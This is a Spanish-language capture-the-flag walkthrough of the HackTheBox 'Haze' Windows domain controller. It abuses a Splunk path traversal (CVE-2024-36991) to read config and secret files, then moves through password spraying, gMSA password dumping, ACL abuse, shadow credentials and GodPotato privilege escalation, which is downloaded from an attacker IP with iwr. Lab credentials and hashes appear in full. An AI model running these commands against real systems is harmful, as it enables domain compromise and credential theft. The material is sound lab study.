Box Info
| Name | Haze |
|---|---|
| Release Date | 29 Mar, 2025 |
| OS | Windows |
| Rated Difficulty | Hard |
TTL 127 = Maquina Windows
ping -c 3 10.10.11.61
PING 10.10.11.61 (10.10.11.61) 56(84) bytes of data.64 bytes from 10.10.11.61: icmp_seq=1 ttl=127 time=55.9 ms64 bytes from 10.10.11.61: icmp_seq=2 ttl=127 time=59.4 ms64 bytes from 10.10.11.61: icmp_seq=3 ttl=127 time=56.9 msEnumeration
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49669,58301,58308,58309,58311,58321,58338,58341,58409 10.10.11.61 -oN targetedStarting Nmap 7.95 ( https://nmap.org ) at 2025-05-28 02:12 CSTNmap scan report for 10.10.11.61Host is up (0.057s latency).
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-28 09:32:01Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Not valid before: 2025-03-05T07:12:20|_Not valid after: 2026-03-05T07:12:20445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Not valid before: 2025-03-05T07:12:20|_Not valid after: 2026-03-05T07:12:20|_ssl-date: TLS randomness does not represent time3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Not valid before: 2025-03-05T07:12:20|_Not valid after: 2026-03-05T07:12:203269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=dc01.haze.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb| Not valid before: 2025-03-05T07:12:20|_Not valid after: 2026-03-05T07:12:20|_ssl-date: TLS randomness does not represent time5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found8000/tcp open http Splunkd httpd|_http-server-header: Splunkd| http-robots.txt: 1 disallowed entry|_/| http-title: Site doesnt have a title (text/html; charset=UTF-8).|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F8088/tcp open ssl/http Splunkd httpd|_http-title: 404 Not Found|_http-server-header: Splunkd| http-robots.txt: 1 disallowed entry|_/| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser| Not valid before: 2025-03-05T07:29:08|_Not valid after: 2028-03-04T07:29:088089/tcp open ssl/http Splunkd httpd|_http-server-header: Splunkd| http-robots.txt: 1 disallowed entry|_/|_http-title: splunkd| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser| Not valid before: 2025-03-05T07:29:08|_Not valid after: 2028-03-04T07:29:089389/tcp open mc-nmf .NET Message Framing47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPC58301/tcp open msrpc Microsoft Windows RPC58308/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.058309/tcp open msrpc Microsoft Windows RPC58311/tcp open msrpc Microsoft Windows RPC58321/tcp open msrpc Microsoft Windows RPC58338/tcp open msrpc Microsoft Windows RPC58341/tcp open msrpc Microsoft Windows RPC58409/tcp open msrpc Microsoft Windows RPCService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required|_clock-skew: 1h19m44s| smb2-time:| date: 2025-05-28T09:33:03|_ start_date: N/Aecho "10.10.11.61 haze.htb" | sudo tee -a /etc/hosts
- whatweb

8089/tcp open ssl/http Splunkd httpdPodemos ver que el puerto 8089 nos muestra la version de splunkd.

Path Traversal | Splunk 9.2.1
critical-splunk-vulnerability-cve-2024-36991 - arbitrary file reads

Encontramos un script que explota esta vulnerabilidad . Github - CVE-2024-36991
python3 CVE-2024-36991.py -u http://haze.htb:8000/
admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152Ninguno de estos hashes es posible romperlos, pero al menos tenemos usuarios
MarkpaulEdwardEn el articulo menciona un path traversal manual interceptando un peticion “GET /en-US/modules/messaging/”.

- BurpSuite

Intente leer el archivo /etc/passwd pero no mostró nada, como yo no se que archivos maneje splunk, investigue su documentacion para leer archivos, como .conf
Encontramos la ruta donde los archivos config se almacenan Configuration file directories
$SPLUNK_HOME/etc/system/localUna lista de archivos config que pueden encontrarse en la ruta List of configuration files
| File | Purpose |
|---|---|
| authentication.conf | Toggle between Splunk’s built-in authentication or LDAP, and configure LDAP. |

Este es un archivo de autenticacion de splunk relacionado con la autenticacion LDAP
[splunk_auth]minPasswordLength = 8minPasswordUppercase = 0minPasswordLowercase = 0minPasswordSpecial = 0minPasswordDigit = 0
[Haze LDAP Auth]SSLEnabled = 0anonymous_referrals = 1bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htbbindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=charset = utf8emailAttribute = mailenableRangeRetrieval = 0groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htbgroupMappingAttribute = dngroupMemberAttribute = membergroupNameAttribute = cnhost = dc01.haze.htbnestedGroups = 0network_timeout = 20pagelimit = -1port = 389realNameAttribute = cnsizelimit = 1000timelimit = 15userBaseDN = CN=Users,DC=haze,DC=htbuserNameAttribute = samaccountname
[authentication]authSettings = Haze LDAP AuthauthType = LDAPComo el hash no es crackeable, buscando por su sigla bindDNpassword encontra un articulo
LDAP-bind-password-in-authentication

Este archivo splunk.secret es un archivo que contiene una clave maestra que splunk usa para cifrar y descifrar credenciales, su ubicacion tipi es la que se menciona.
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret
Cracking Hash Secret
Existe un script que descifra la password.
$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=splunksecrets splunk-decrypt -S secret
En Active Directory es muy común que los usuarios tengan una estructura en sus nombres como p.taylor o paultaylor o paul.taylor, con esto podemos crearnos un archivo para validar que nombre es el que se encuentra en el dominio.
nxc smb 10.10.11.61 -u user -p 'Ld@p_Auth_Sp1unk@2k24'paul.taylor:Ld@p_Auth_Sp1unk@2k24Validamos las credenciales
netexec smb 10.10.11.61 -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
Listamos los archivos compartidos que puede leer/ver paul.taylor
netexec smb 10.10.11.61 -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --shares
Con smbmap veremos todos los archivos de cada carpeta (si lo hay) en bruto para de esa forma ver mas facil cada uno de ellos.
smbmap -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' -H 10.10.11.61 -r SYSVOL --depth 10
Enumeration Users
Enumeramos usuarios que paul.taylor puede ver, sin embargo paul.taylor y esto es muy común en AD que algunos usuarios tenga restricciones al ver a otros usuarios.
rpcclient -U 'paul.taylor%Ld@p_Auth_Sp1unk@2k24' 10.10.11.61 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]'
Con rpcclient tambien podemos ver descripciones, algunas veces se puede encontrar cosas interesantes en esa parte.
rpcclient -U 'paul.taylor%Ld@p_Auth_Sp1unk@2k24' 10.10.11.61 -c 'querydispinfo'index: 0xfe6 RID: 0x44f acb: 0x00000210 Account: paul.taylor Name: (null) Desc: (null)Enum Users via SMB Brute Force
Otro metodo para listar usuarios es usando Brute Force con smb, en tal caso de que uno no funcione.
sudo netexec smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep SidTypeUser
DC01$paul.taylormark.adamsedward.martinalexander.greenHaze-IT-Backup$Password Spraying
Posiblemente haya algun usuario que recicle contraseñas y esto a veces se suele dar que 2 o mas usuarios usen una misma contraseña.
netexec smb 10.10.11.61 -u users -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
Podemos probar listar si hay mas usuarios con el usuario mark.adams
rpcclient -U 'mark.adams%Ld@p_Auth_Sp1unk@2k24' 10.10.11.61 -c 'querydispinfo'
BloodHound
bloodhound-python -d haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 -ns 10.10.11.61 --zip -c All
Una Cuenta de Servicio Administrada (sMSA) independiente es una cuenta de dominio administrada que ofrece administración automática de contraseñas, administración simplificada del nombre principal de servicio (SPN) y la posibilidad de delegar la administración a otros administradores.
-
Lectura directa de la contraseña de la gMSA: La contraseña de la gMSA se almacena en el atributo msDS-ManagedPassword de Active Directory, al que solo pueden acceder las cuentas autorizadas (como los miembros del grupo de administradores de la gMSA). Como miembro del grupo de administradores, puede recuperar y descifrar directamente el atributo para obtener la contraseña en texto plano. Esto le permite iniciar sesión o realizar operaciones como la gMSA, lo que podría permitirle obtener mayores privilegios del sistema.
-
Ataque de retransmisión NTLM: Al explotar la vulnerabilidad del protocolo NTLM, un atacante puede retransmitir las solicitudes de autenticación NTLM al servicio LDAP o LDAPS y, a continuación, acceder al atributo msDS-ManagedPassword para obtener la contraseña de la gMSA. Sin embargo, este método requiere condiciones y configuraciones de red específicas, y la tasa de éxito es limitada.
Ataque de gMSA dorada: Si un atacante tiene acceso al atributo de clave raíz del Servicio de Distribución de Claves (KDS), puede generar las contraseñas de todas las gMSA asociadas sin conexión. Esto se denomina ataque de “gMSA dorada” y permite al atacante obtener continuamente las contraseñas de las gMSA sin activar cambios de contraseña ni registros de acceso.
netexec winrm haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
python3 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 -d haze.htbgMSADumper

bloodyAD --host 10.10.11.61 -d haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' get object Haze-IT-Backup$ --attr msDS-ManagedPassword
Get-ADServiceAccount -Identity Haze-IT-Backup$ | Select-Object Name, ObjectClass
Get-ADServiceAccount -Identity "Haze-IT-Backup$" -Properties PrincipalsAllowedToRetrieveManagedPassword
Domain Admins tiene permisos PrincipalsAllowedToRetrieveManagedPassword
Impersonation trought PrincipalsAllowedToRetrieveManagedPassword
Establecer la propiedad como Mark Adams
Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"Y ejecutamos nuevamente el script gMSADump.py

Haze-IT-Backup$:::84d6a733d85d9e03f46eba25b34517a9Haze-IT-Backup$:aes256-cts-hmac-sha1-96:8c47d46d7f2a5aef9d2ab5fda8c60b6e094ad78b2c55878faa9ff2b7fac740a6Haze-IT-Backup$:aes128-cts-hmac-sha1-96:7627ff016dd47b73e99596362a068f41But can’t coonect to 5985
dsacls "CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb"
msDS-GroupMSAMembership
Este atributo se utiliza para realizar comprobaciones de acceso para determinar si un solicitante tiene permiso para recuperar la contraseña de un grupo MSA. i
BloodHound - 2
bloodhound-python -d haze.htb -u 'Haze-IT-Backup$' --hashes ':84d6a733d85d9e03f46eba25b34517a9' -ns 10.10.11.61 --zip -c All
Shadow Credentials
bloodyAD --host 10.10.11.61 -d haze.htb -u 'Haze-IT-Backup$' -p ':84d6a733d85d9e03f46eba25b34517a9' set owner SUPPORT_SERVICES Haze-IT-Backup$
impacket-dacledit -action write -rights FullControl -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=haze,DC=htb' -dc-ip 10.10.11.61 "haze.htb/Haze-IT-Backup$" -hashes ':84d6a733d85d9e03f46eba25b34517a9'
bloodyAD --host "10.10.11.61" -d "haze.htb" -u "Haze-IT-Backup$" -p ":84d6a733d85d9e03f46eba25b34517a9" add groupMember SUPPORT_SERVICES Haze-IT-Backup$![]()
- Es necesario ejecutar los comandos rápidamente porque restablece las propiedades a los valores predeterminados.

Shadow Credential
/home/kali/Documents/HTB/haze/pywhisker.py -d haze.htb -u "Haze-IT-Backup$" -H '84d6a733d85d9e03f46eba25b34517a9' --target edward.martin --action add
sudo ntpadte 10.10.11.61
python3 /home/kali/Documents/HTB/haze/PKINITtools/gettgtpkinit.py -cert-pfx 0XZLDVcs.pfx -pfx-pass YEOcmHvhgdp2PQl9UBzz haze.htb/edward.martin edward.ccache
export KRB5CCNAME=edward.ccachepython3 /home/kali/Documents/HTB/certified/PKINITtools/getnthash.py -key 62672b5d1dd64d7e2cad72f1e50f283b58a6d1dab1a4e2ad4de37fffff4eff1e -dc-ip 10.10.11.61 haze.htb/edward.martin
Privilege Escalation

grep -r -i 'password =' .
grep -r -i '\$1\$' .![]()
Verificamos el archivo authentication.conf

What-is-the-splunk-secret-file-and-is-it-possible-to-change-it
$SPLUNK_HOME/etc/auth

adminSp1unkadmin@2k24

whoami /all

iwr http://10.10.14.30/GodPotato-NET4.exe -o GodPotato-NET4.exe
./GodPotato-NET4.exe -cmd 'cmd /c whoami'
Podemos cargar un shell.exe con msfvenom y ejecutarlo con msconsole
./GodPotato-NET4.exe -cmd 'cmd /c C:\temp\shell.exe'